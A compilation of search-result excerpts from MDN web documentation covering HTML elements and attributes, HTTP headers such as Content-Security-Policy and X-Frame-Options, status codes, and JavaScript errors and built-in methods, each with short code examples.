... <picture> <source srcset="logo.webp" type="image/webp"> <img src="logo.png" alt="logo"> </picture> specifications specification status comment html living standardthe definition of '<picture>' in that specification.
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
WebHTMLElementpre
the text is typically rendered using a non-proportional ("monospace") font.
... example <figure role="img" aria-labelledby="cow-caption"> <pre> ___________________________ < i'm an expert in my field.
... > --------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || </pre> <figcaption id="cow-caption"> a cow saying, "i'm an expert in my field." the cow is illustrated using preformatted text characters.
<sub>: The Subscript element - HTML: Hypertext Markup Language
WebHTMLElementsub
denoting the number of atoms of a given element within a chemical formula (such as every developer's best friend, c8h10n4o2, otherwise known as "caffeine").
...<var>x<sub>n</sub></var>.</p> the resulting output: chemical formulas when writing a chemical formula, such as h20, the number of atoms of a given element within the described molecule is represented using a subscripted number; in the case of water, the subscripted "2" indicates that there are two atoms of hydrogen in the molecule.
... another example: <p>almost every developer's favorite molecule is c<sub>8</sub>h<sub>10</sub>n<sub>4</sub>o<sub>2</sub>, which is commonly known as "caffeine."</p> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification.
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
also, the title is the initial "hook" by which you grab the attention of readers glancing at the search results page.
... don't use "keyword blobs." if your title is just a list of words, algorithms often reduce your page's position in the search results.
... example <title>awesome interesting stuff</title> this example establishes a page whose title (as displayed at the top of the window or in the window's tab) as "awesome interesting stuff".
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); examples <video controls poster="/images/sample.gif"> <source src="sa...
...mple.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="samplecaptions.vtt" srclang="en"> <track kind="descriptions" src="sampledescriptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <track kind="subtitles" src="samplesubtitles_en.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_ja.vtt" srclang="ja"> <track kind="subtitles" src="samplesubtitles_oz.vtt" srclang="oz"> <track kind="metadata" src="keystage1.vtt" srclang="en" label="key stage 1"> <track kind="metadata" src="keystage2.vtt" srclang="en" label="key stage 2"> <track kind="metadata" src="keystage3.vtt" srclang="en" label...
...="key stage 3"> <!-- fallback --> ...
<var>: The Variable element - HTML: Hypertext Markup Language
WebHTMLElementvar
de: <code>: the html code element <kbd>: the html keyboard input element <samp>: the html sample output element if you encounter code that is mistakenly using <var> for style purposes rather than semantic purposes, you should either use a <span> with appropriate css or, an appropriate semantic element among the following: <em> <i> <q> default style most browsers apply font-style to "italic" when rendering <var>.
... this can be overridden in css, like this: var { font: bold 15px "courier", "courier new", monospace; } examples basic example here's a simple example, using <var> to denote variable names in a mathematical equation.
... css var { font: bold 15px "courier", "courier new", monospace; } html <p>the variables <var>minspeed</var> and <var>maxspeed</var> control the minimum and maximum speed of the apparatus in revolutions per minute (rpm).</p> this html uses <var> to enclose the names of two variables.
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
this element is most commonly used to link to stylesheets, but is also used to establish site icons (both "favicon" style icons and icons for the home screen and apps on mobile devices) among other things.
... element description <details> the html details element (<details>) creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state.
... <noembed> the <noembed> element is an obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the <embed> element or do not support the type of embedded content an author wishes to use.
tabindex - HTML: Hypertext Markup Language
it accepts an integer as a value, with different results depending on the integer's value: a negative value (usually tabindex="-1") means that the element is not reachable via sequential keyboard navigation, but could be focused with javascript or visually by clicking with the mouse.
... tabindex="0" means that the element should be focusable in sequential keyboard navigation, after any positive tabindex values and its order is defined by the document's source order.
...that is, tabindex="4" is focused before tabindex="5" and tabindex="0", but after tabindex="3".
translate - HTML: Hypertext Markup Language
it can have the following values: empty string or "yes", which indicates that the element should be translated when the page is localized.
... "no", which indicates that the element must not be translated.
... <footer> <small>© 2020 <span translate="no">brandname</span></small> </footer> specifications specification status comment html living standardthe definition of 'translate' in that specification.
Identifying resources on the Web - HTTP
the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else.
...it indicates the technical "gate" used to access the resources on the web server.
...an anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the content located at that "bookmarked" spot.
Using Feature Policy - HTTP
for example, allow all browsing contexts within this iframe to use fullscreen: <iframe src="https://example.com..." allow="fullscreen"></iframe> this is equivalent to: <iframe src="https://example.com..." allow="fullscreen 'src'"></iframe> this example allows <iframe> content on a particular origin to access the user's location: <iframe src="https://google-developers.appspot.com/demos/..." allow="geolocation https://google-developers.appspot.com"></iframe> similar to the ht...
... for example, this blocks the <iframe> from using the camera and microphone: <iframe allow="camera 'none'; microphone 'none'"> inheritance of policy for embedded content scripts inherit the policy of their browsing context, regardless of their origin.
... send the following the http header: feature-policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none'; using the <iframe> allow attribute: <iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe> ...
Feature Policy - HTTP
with feature policy, you opt-in to a set of "policies" for the browser to enforce on specific features used throughout a website.
...some approaches include: return "permission denied" for javascript apis that require user permission grants.
...for more details see "enforcing best practices for good user experiences".
Content-Location - HTTP
<form action="/send-payment" method="post"> <p> <label>who do you want to send the money to?
... <input type="text" name="recipient"> </label> </p> <p> <label>how much?
... <input type="number" name="amount"> </label> </p> <button type="submit">send money</button> </form> when the form is submitted, the site generates a receipt for the transaction.
CSP: report-uri - HTTP
$current_domain; http_response_code(204); // http 204 no content $json_data = file_get_contents('php://input'); // we pretty print the json before adding it to the log file if ($json_data = json_decode($json_data)) { $json_data = json_encode($json_data, json_pretty_print | json_unescaped_slashes); if (!file_exists($log_file)) { // send an email $message = "the following content-security-policy violation occurred on " .
...":\n\n" .
... "\n\nfurther cps violations will be logged to the following log file, but no further email notifications will be sent until this log file is deleted:\n\n" .
CSP: style-src - HTTP
examples violation cases given this csp header: content-security-policy: style-src https://example.com/ the following stylesheets are blocked and won't load: <link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> <style> #inline-style { background: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loaded using the link header: link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet inline style attributes are also blocked: <div style="display:non...
...e">foo</div> as well as styles that are applied in javascript by setting the style attribute directly, or by setting csstext: document.queryselector('div').setattribute('style', 'display:none;'); document.queryselector('div').style.csstext = 'display:none;'; however, styles properties that are set directly on the element's style property will not be blocked, allowing users to safely manipulate styles via javascript: document.queryselector('div').style.display = 'none'; these types of manipulations can be prevented by disallowing javascript via the script-src csp directive.
... content-security-policy: style-src 'unsafe-inline'; the above content security policy will allow inline styles like the <style> element, and the style attribute on any element: <style> #inline-style { background: red; } </style> <div style="display:none">foo</div> you can use a nonce-source to only allow specific inline style blocks: content-security-policy: style-src 'nonce-2726c7f26c' you will have to set the same nonce on the <style> element: <style nonce="2726c7f26c"> #inline-style { background: red; } </style> alternatively, you can create hashes from your inline styles.
CSP: upgrade-insecure-requests - HTTP
syntax content-security-policy: upgrade-insecure-requests; examples // header content-security-policy: upgrade-insecure-requests; // meta tag <meta http-equiv="content-security-policy" content="upgrade-insecure-requests"> with the above header set on a domain example.com that wants to migrate from http to https, non-navigational insecure resource requests are automatically upgraded (first-party as well as third-party requests).
... <img src="http://example.com/image.png"> <img src="http://not-example.com/image.png"> these urls will be rewritten before the request is made, meaning that no insecure requests will hit the network.
... <img src="https://example.com/image.png"> <img src="https://not-example.com/image.png"> navigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded: <a href="https://example.com/">home</a> <a href="http://not-example.com/">home</a> finding insecure requests with the help of the content-security-policy-report-only header and the report-uri directive, you can set-up an enforced policy and a reported policy like this: content-security-policy: upgrade-insecure-requests; default-src https: content-security-policy-report-only: default-src https:; report-uri /endpoint that way, you still upgrade insecur...
Content-Security-Policy-Report-Only - HTTP
disposition either "enforce" or "report" depending on whether the content-security-policy header or the content-security-policy-report-only header is used.
... content-security-policy-report-only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports the html of signup.html looks like this: <!doctype html> <html> <head> <title>sign up</title> <link rel="stylesheet" href="css/style.css"> </head> <body> ...
...a browser capable of enforcing csp will send the following violation report as a post request to http://example.com/_/csp-reports, when the document is visited: { "csp-report": { "document-uri": "http://example.com/signup.html", "referrer": "", "blocked-uri": "http://example.com/css/style.css", "violated-directive": "style-src cdn.example.com", "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports", "disposition": "report" } } as you can see, the report includes the full path to the violating resource in blocked-uri.
Content-Type - HTTP
header type entity header forbidden header name no cors-safelisted response header yes cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x08 (tab)), "():<>?@[\]{}, and 0x7f (delete).
... <form action="/" method="post" enctype="multipart/form-data"> <input type="text" name="description" value="some text"> <input type="file" name="myfile"> <button type="submit">submit</button> </form> the request looks something like this (less interesting headers are omitted here): post /foo http/1.1 content-length: 68137 content-type: multipart/form-data; boundary=---------------------------97476729985...
...2498929531610575 -----------------------------974767299852498929531610575 content-disposition: form-data; name="description" some text -----------------------------974767299852498929531610575 content-disposition: form-data; name="myfile"; filename="foo.txt" content-type: text/plain (content of the uploaded file foo.txt) -----------------------------974767299852498929531610575-- specifications specification title rfc 7233, section 4.1: content-type in multipart hypertext transfer protocol (http/1.1): range requests rfc 7231, section 3.1.1.5: content-type hypertext transfer protocol (http/1.1): semantics and content ...
If-Match - HTTP
WebHTTPHeadersIf-Match
they are a string of ascii characters placed between double quotes (like "675af34563dc-tr34").
... they may be prefixed by w/ to indicate that they are "weak", i.e.
... examples if-match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" if-match: "67ab43", "54ed21", "7892dd" if-match: * specifications specification title rfc 7232, section 3.1: if-match hypertext transfer protocol (http/1.1): conditional requests ...
If-None-Match - HTTP
header type request header forbidden header name no syntax if-none-match: "<etag_value>" if-none-match: "<etag_value>", "<etag_value>", … if-none-match: * directives <etag_value> entity tags uniquely representing the requested resources.
... they are a string of ascii characters placed between double quotes (like "675af34563dc-tr34") and may be prefixed by w/ to indicate that the weak comparison algorithm should be used (this is useless with if-none-match as it only uses that algorithm).
... examples if-none-match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" if-none-match: w/"67ab43", "54ed21", "7892dd" if-none-match: * specifications specification title rfc 7232, section 3.2: if-none-match hypertext transfer protocol (http/1.1): conditional requests ...
Index - HTTP
WebHTTPHeadersIndex
7 access-control-allow-credentials cors, http, reference, header the access-control-allow-credentials response header tells browsers whether to expose the response to frontend javascript code when the request's credentials mode (request.credentials) is "include".
... 55 cookie2 http, obsolete, reference, header, request the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not this one.
...on the other side, if the content has changed, etags are useful to help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
Via - HTTP
WebHTTPHeadersVia
header type general header forbidden header name yes syntax via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] or via: [ <protocol-name> "/" ] <protocol-version> <pseudonym> directives <protocol-name> optional.
... the name of the protocol used, such as "http".
... <protocol-version> the version of the protocol used, such as "1.1".
X-DNS-Prefetch-Control - HTTP
examples turning on and off prefetching you can either send the x-dns-prefetch-control header server-side, or from individual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can reverse this setting by setting content to "on".
... forcing lookup of specific hostnames you can force the lookup of specific hostnames without providing specific anchors using that hostname by using the rel attribute on the <link> element with a link type of dns-prefetch: <link rel="dns-prefetch" href="https://www.mozilla.org/contribute/"> in this example, the domain name "www.mozilla.org/contribute" will be pre-resolved.
... similarly, the link element can be used to resolve hostnames without providing a complete url, but only, by preceding the hostname with two slashes: <link rel="dns-prefetch" href="//www.mozilla.org/contribute/"> forced prefetching of hostnames might be useful, for example, on the homepage of a site to force pre-resolution of domain names that are referenced frequently throughout the site even though they are not used on the home page itself.
X-Frame-Options - HTTP
for instance, <meta http-equiv="x-frame-options" content="deny"> has no effect.
... configuring apache to configure apache to send the x-frame-options header for all pages, add this to your site's configuration: header always set x-frame-options "sameorigin" to configure apache to set the x-frame-options deny, add this to your site's configuration: header set x-frame-options "deny" configuring nginx to configure nginx to send the x-frame-options header, add this either to your http, server or location configuration: add_header x-frame-options sameorigin always; configuring iis to configure iis to send the x-frame-options header, add this to your site's web.config file: <system.webserver> ...
... <httpprotocol> <customheaders> <add name="x-frame-options" value="sameorigin" /> </customheaders> </httpprotocol> ...
412 Precondition Failed - HTTP
WebHTTPStatus412
status 412 precondition failed examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.
... for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
... if-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" if the hashes don't match, it means that the document has been edited in-between and a 412 precondition failed error is thrown.
451 Unavailable For Legal Reasons - HTTP
WebHTTPStatus451
note: the link header might also contain a rel="blocked-by" relation identifying the entity and implementing blockage, not any other entity mandating it.
... any attempt to identify the entity ultimately responsible for the resource being unavailable belongs in the response body, not in the rel="blocked-by" link.
... http/1.1 451 unavailable for legal reasons link: <https://spqr.example.org/legislatione>; rel="blocked-by" content-type: text/html <html> <head><title>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>this request may not be serviced in the roman province of judea due to the lex julia majestatis, which disallows access to resources hosted on servers deemed to be operated by the people's front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report le...
Closures - JavaScript
for this reason, when myfunc is invoked, the variable name remains available for use, and "mozilla" is passed to alert.
... document.getelementbyid('size-12').onclick = size12; document.getelementbyid('size-14').onclick = size14; document.getelementbyid('size-16').onclick = size16; <a href="#" id="size-12">12</a> <a href="#" id="size-14">14</a> <a href="#" id="size-16">16</a> run the code using jsfiddle.
... <p id="help">helpful notes will appear here</p> <p>e-mail: <input type="text" id="email" name="email"></p> <p>name: <input type="text" id="name" name="name"></p> <p>age: <input type="text" id="age" name="age"></p> function showhelp(help) { document.getelementbyid('help').innerhtml = help; } function setuphelp() { var helptext = [ {'id': 'email', 'help': 'your e-mail address'}, {'id': '...
Meta programming - JavaScript
handler.set() property assignment proxy[foo] = bar proxy.foo = bar inherited property assignment object.create(proxy)[foo] = bar {jsxref("reflect.set()")}} cannot change the value of a property to be different from the value of the corresponding target property if the corresponding target property is a non-writable, non-configurable data property.
... let revocable = proxy.revocable({}, { get: function(target, name) { return '[[' + name + ']]' } }) let proxy = revocable.proxy console.log(proxy.foo) // "[[foo]]" revocable.revoke() console.log(proxy.foo) // typeerror is thrown proxy.foo = 1 // typeerror again delete proxy.foo // still typeerror typeof proxy // "object", typeof doesn't trigger any trap reflection reflect is a built-in object that provides methods for interceptable javascript operations.
... function.prototype.apply.call(math.floor, undefined, [1.75]) with reflect.apply this becomes less verbose and easier to understand: reflect.apply(math.floor, undefined, [1.75]) // 1 reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(regexp.prototype.exec, /ab/, ['confabulation']).index // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property.
Warning: 08/09 is not a legal ECMA-262 octal constant - JavaScript
the javascript warning "08 (or 09) is not a legal ecma-262 octal constant" occurs when 08 or 09 number literals are used.
...with ecmascript 6 and later, the syntax uses a leading zero followed by a lowercase or uppercase latin letter "o" (0o or 0o).
... examples invalid octal numbers 08; 09; // syntaxerror: 08 is not a legal ecma-262 octal constant // syntaxerror: "0"-prefixed octal literals and octal escape sequences // are deprecated valid octal numbers use a leading zero followed by the letter "o"; 0o755; 0o644; ...
ReferenceError: can't access lexical declaration`X' before initialization - JavaScript
the javascript exception "can't access lexical declaration `variable' before initialization" occurs when a lexical variable was accessed before it was initialized.
... examples invalid cases in this case, the variable "foo" is redeclared in the block statement using let.
... function test() { let foo = 33; if (true) { let foo = (foo + 55); // referenceerror: can't access lexical // declaration `foo' before initialization } } test(); valid cases to change "foo" inside the if statement, you need to remove the let that causes the redeclaration.
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
the javascript warning "javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead" occurs when a for each (variable in obj) statement is used.
... var object = { a: 10, b: 20 }; for each (var [key, value] in iterator(object)) { console.log(key, value); // "a", 10 // "b", 20 } alternative standard syntax you can now use the standard for...in loop to iterate over specified object keys, and get each value inside the loop: var object = { a: 10, b: 20 }; for (var key in object) { var value = object[key]; console.log(key, value); // "a", 10 // "b", 20 } or, using for...of (es2015) and obj...
...ect.entries (es2017), you can get an array of the specified object values and iterate over the array like this: var object = { a: 10, b: 20 }; for (var [key, value] of object.entries(object)) { console.log(key, value); // "a", 10 // "b", 20 } ...
SyntaxError: illegal character - JavaScript
the javascript exception "illegal character" occurs when there is an invalid or unexpected token that doesn't belong at this position in the code.
...use an editor that supports syntax highlighting and carefully check your code against mismatches like a minus sign ( - ) versus a dash ( – ) or simple quotes ( " ) vs non-standard quotation marks ( “ ).
... “this looks like a string”; // syntaxerror: illegal character // “ and ” are not " but look like this 42 – 13; // syntaxerror: illegal character // – is not - but looks like this var foo = 'bar'; // syntaxerror: illegal character // <37e> is not ; but looks like this this should work: "this is actually a string"; 42 - 13; var foo = 'bar'; some editors and ides will notify you or at least use a slightly different highlighting for it, ...
SyntaxError: JSON.parse: bad parsing - JavaScript
examples json.parse() does not allow trailing commas both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4,]'); json.parse('{"foo": 1,}'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4]'); json.parse('{"foo": 1}'); property names must be double-quoted strings you cannot use single-quotes around properties, like 'foo'.
... json.parse("{'foo': 1}"); // syntaxerror: json.parse: expected property name or '}' // at line 1 column 2 of the json data instead write "foo": json.parse('{"foo": 1}'); leading zeros and decimal points you cannot use leading zeros, like 01, and decimal points must be followed by at least one digit.
... json.parse('{"foo": 01}'); // syntaxerror: json.parse: expected ',' or '}' after property value // in object at line 1 column 2 of the json data json.parse('{"foo": 1.}'); // syntaxerror: json.parse: unterminated fractional number // at line 1 column 2 of the json data instead write just 1 without a zero and use at least one digit after a decimal point: json.parse('{"foo": 1}'); json.parse('{"foo": 1.0}'); ...
SyntaxError: missing ] after element list - JavaScript
the javascript exception "missing ] after element list" occurs when there is an error with the array initializer syntax somewhere.
... likely there is a closing bracket ("]") or a comma (",") missing.
...likely there is a closing bracket ("]") or a comma (",") missing.
TypeError: can't delete non-configurable array element - JavaScript
the javascript exception "can't delete non-configurable array element" occurs when it was attempted to shorten the length of an array, but one of the array's elements is non-configurable.
... var arr = []; object.defineproperty(arr, 0, {value: 0}); object.defineproperty(arr, 1, {value: "1"}); arr.length = 1; // typeerror: can't delete non-configurable array element you will need to set the elements as configurable, if you intend to shorten the array.
... var arr = []; object.defineproperty(arr, 0, {value: 0, configurable: true}); object.defineproperty(arr, 1, {value: "1", configurable: true}); arr.length = 1; seal-ed arrays the object.seal() function marks all existing elements as non-configurable.
AggregateError - JavaScript
instance properties aggregateerror.prototype.message error message, defaults to "".
... examples catching an aggregateerror promise.any([ promise.reject(new error("some error")), ]).catch(e => { console.log(e instanceof aggregateerror); // true console.log(e.message); // "all promises rejected" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] }); creating an aggregateerror try { throw new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "so...
...me error" ] } specifications specification promise.anythe definition of 'aggregateerror' in that specification.
Array.prototype[@@iterator]() - JavaScript
examples iteration using for...of loop html <ul id="letterresult"> </ul> javascript var arr = ['a', 'b', 'c']; var earr = arr[symbol.iterator](); var letterresult = document.getelementbyid('letterresult'); // your browser must support for..of loop // and let-scoped variables in for loops // const and var could also be used for (let letter of earr) { letterresult.innerhtml += "<li>" + letter + "</li>"; } result alternative iteration var arr...
... function logiterable(it) { if (!(symbol.iterator in object.getprototypeof(it) /* or "symbol.iterator in object.__proto__" or "it[symbol.iterator]" */)) { console.log(it, ' is not an iterable object...'); return; } var iterator = it[symbol.iterator](); // your browser must support for..of loop // and let-scoped variables in for loops // const and var could also be used for (let letter of iterator) { console.log(letter); } } // array logiterable(['a', '...
...b', 'c']); // a // b // c // string logiterable('abc'); // a // b // c logiterable(123); // 123 " is not an iterable object..." specifications specification ecmascript (ecma-262)the definition of 'array.prototype[@@iterator]()' in that specification.
Array.prototype.findIndex() - JavaScript
if (this == null) { throw new typeerror('"this" is null or not defined'); } var o = object(this); // 2.
...get(o, "length")).
... function isprime(num) { for (let i = 2; num > i; i++) { if (num % i == 0) { return false; } } return num > 1; } console.log([4, 6, 8, 9, 12].findindex(isprime)); // -1, not found console.log([4, 6, 7, 9, 12].findindex(isprime)); // 2 (array[2] is 7) find index using arrow function the following example finds the index of a fruit using an arrow function: const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"]; const index = fruits.findindex(fruit => fruit === "blueberries"); console.log(index); // 3 console.log(fruits[index]); // blueberries specifications specification ecmascript (ecma-262)the definition of 'array.prototype.findindex' in that specification.
Array.prototype.splice() - JavaScript
examples remove 0 (zero) elements before index 2, and insert "drum" let myfish = ['angel', 'clown', 'mandarin', 'sturgeon'] let removed = myfish.splice(2, 0, 'drum') // myfish is ["angel", "clown", "drum", "mandarin", "sturgeon"] // removed is [], no elements removed remove 0 (zero) elements before index 2, and insert "drum" and "guitar" let myfish = ['angel', 'clown', 'mandarin', 'sturgeon'] let removed = myfish.splice(2, 0, 'drum', 'guitar') // myfish...
... is ["angel", "clown", "drum", "guitar", "mandarin", "sturgeon"] // removed is [], no elements removed remove 1 element at index 3 let myfish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon'] let removed = myfish.splice(3, 1) // myfish is ["angel", "clown", "drum", "sturgeon"] // removed is ["mandarin"] remove 1 element at index 2, and insert "trumpet" let myfish = ['angel', 'clown', 'drum', 'sturgeon'] let removed = myfish.splice(2, 1, 'trumpet') // myfish is ["angel", "clown", "trumpet", "sturgeon"] // removed is ["drum"] remove 2 elements from index 0, and insert "parrot", "anemone" and "blue" let myfish = ['angel', 'clown', 'trumpet', 'sturgeon'] let removed = myfish.splice(0, 2, 'parrot', 'anemone', 'blue') // myfish is ["parrot", "anemone", "blue", "trumpet", "sturgeon"]...
... // removed is ["angel", "clown"] remove 2 elements from index 2 let myfish = ['parrot', 'anemone', 'blue', 'trumpet', 'sturgeon'] let removed = myfish.splice(2, 2) // myfish is ["parrot", "anemone", "sturgeon"] // removed is ["blue", "trumpet"] remove 1 element from index -2 let myfish = ['angel', 'clown', 'mandarin', 'sturgeon'] let removed = myfish.splice(-2, 1) // myfish is ["angel", "clown", "sturgeon"] // removed is ["mandarin"] remove all elements from index 2 let myfish = ['angel', 'clown', 'mandarin', 'sturgeon'] let removed = myfish.splice(2) // myfish is ["angel", "clown"] // removed is ["mandarin", "sturgeon"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.splice' in that specification.
Array.prototype.values() - JavaScript
examples iteration using for...of loop var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); for (let letter of iterator) { console.log(letter); } //"a" "b" "c" "d" "e" array.prototype.values is default implementation of array.prototype[symbol.iterator].
... array.prototype.values === array.prototype[symbol.iterator] //true iteration using .next() var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); iterator.next(); // object { value: "a", done: false } iterator.next().value; // "b" iterator.next()["value"]; // "c" iterator.next(); // object { value: "d", done: false } iterator.next(); // object { value: "e", done: false } iterator.next(); // object { value: undefined, done: true } iteraror.next().value; // undefined one-use: the array iterator object is one use or temporary object example: var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); for (let letter of iterator) { console.log(letter); } //"a" "b" "c" "d" "e" for (let...
... var arr = ['a', 'b', 'c', 'd', 'e']; var iterator = arr.values(); console.log(iterator); // array iterator { } iterator.next().value; // "a" arr[1]='n'; iterator.next().value; // "n" if the values in the array changed the array iterator object values change too.
Date.prototype[@@toPrimitive] - JavaScript
if hint is "string" or "default", [@@toprimitive]() tries to call the tostring method.
... if hint is "number", [@@toprimitive]() first tries to call valueof, and if that fails, it calls tostring.
... examples returning date primitives const testdate = new date(1590757517834); // "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('string'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdate[symbol.toprimitive]('number'); // returns "1590757517834" testdate[symbol.toprimitive]('default'); // returns "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" specifications specification ecmascript (ecma-262)the definition of 'date.proto...
Date - JavaScript
date.prototype.todatestring() returns the "date" portion of the date as a human-readable string like 'thu apr 12 2018'.
... date.prototype.totimestring() returns the "time" portion of the date as a human-readable string.
...y = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) let birthday = new date(628021800000) // passing epoch timestamp to get date, month and year or time let [month, date, year] = ( new date() ).tolocaledatestring().split("/") let [hour, minute, second] = ( new date() ).tolocaletimestring().slice(0,7).split(":") two digit years map to 1900 – 1999 in order to create and get dates between the years 0 and 99 the date.prototype.setfullyear() and date.prototype.getfullyear() methods should be used.
Function.prototype.apply() - JavaScript
in practice, this means it's going to have a length property, and integer ("index") properties in the range (0..length - 1).
... const array = ['a', 'b']; const elements = [0, 1, 2]; array.push.apply(array, elements); console.info(array); // ["a", "b", 0, 1, 2] using apply and built-in functions clever usage of apply allows you to use built-in functions for some tasks that would probably have otherwise been written by looping over the array values.
...his.apply(onew, aargs); return onew; }; using closures: function.prototype.construct = function(aargs) { let fconstructor = this, fnewconstr = function() { fconstructor.apply(this, aargs); }; fnewconstr.prototype = fconstructor.prototype; return new fnewconstr(); }; using the function constructor: function.prototype.construct = function (aargs) { let fnewconstr = new function(""); fnewconstr.prototype = this.prototype; let onew = new fnewconstr(); this.apply(onew, aargs); return onew; }; example usage: function myconstructor() { for (let nprop = 0; nprop < arguments.length; nprop++) { this['property' + nprop] = arguments[nprop]; } } let myarray = [4, 'hello world!', false]; let myinstance = myconstructor.construct(myarray); console.log(myinstance.p...
Function.prototype.bind() - JavaScript
the partial implementation creates functions that do not have immutable "poison pill" caller and arguments properties that throw a typeerror upon get, set, or deletion.
...according to ecma-262, name of the returned bound function should be "bound " + name of target function (note the space character).
...this means that additional apply() calls can be eliminated: // same as "slice" in the previous example const unboundslice = array.prototype.slice; const slice = function.prototype.apply.bind(unboundslice); // ...
Intl.Collator.prototype.resolvedOptions() - JavaScript
collation the value requested using the unicode extension key "co", if it is supported for locale, or "default".
... numeric casefirst the values requested for these properties in the options argument or using the unicode extension keys "kn" and "kf" or filled in as defaults.
... examples using the resolvedoptions method var de = new intl.collator('de', { sensitivity: 'base' }) var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de" usedoptions.usage; // "sort" usedoptions.sensitivity; // "base" usedoptions.ignorepunctuation; // false usedoptions.collation; // "default" usedoptions.numeric; // false specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.resolvedoptions' in that specification.
Intl.Collator.supportedLocalesOf() - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...note the specification of the "lookup" algorithm here — a "best fit" matcher might decide that indonesian is an adequate match for balinese since most balinese speakers also understand indonesian, and therefore return the balinese language tag as well.
... var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.collator.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.supportedlocalesof' in that specification.
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...note the specification of the "lookup" algorithm here — a "best fit" matcher might decide that indonesian is an adequate match for balinese since most balinese speakers also understand indonesian, and therefore return the balinese language tag as well.
... var locales = ['ban', 'id-u-co-pinyin', 'de-id']; var options = { localematcher: 'lookup' }; console.log(intl.datetimeformat.supportedlocalesof(locales, options).join(', ')); // → "id-u-co-pinyin, de-id" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.datetimeformat.supportedlocalesof' in that specification.
Intl.DisplayNames.supportedLocalesOf() - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...note the specification of the "lookup" algorithm here — a "best fit" matcher might decide that indonesian is an adequate match for balinese since most balinese speakers also understand indonesian, and therefore return the balinese language tag as well.
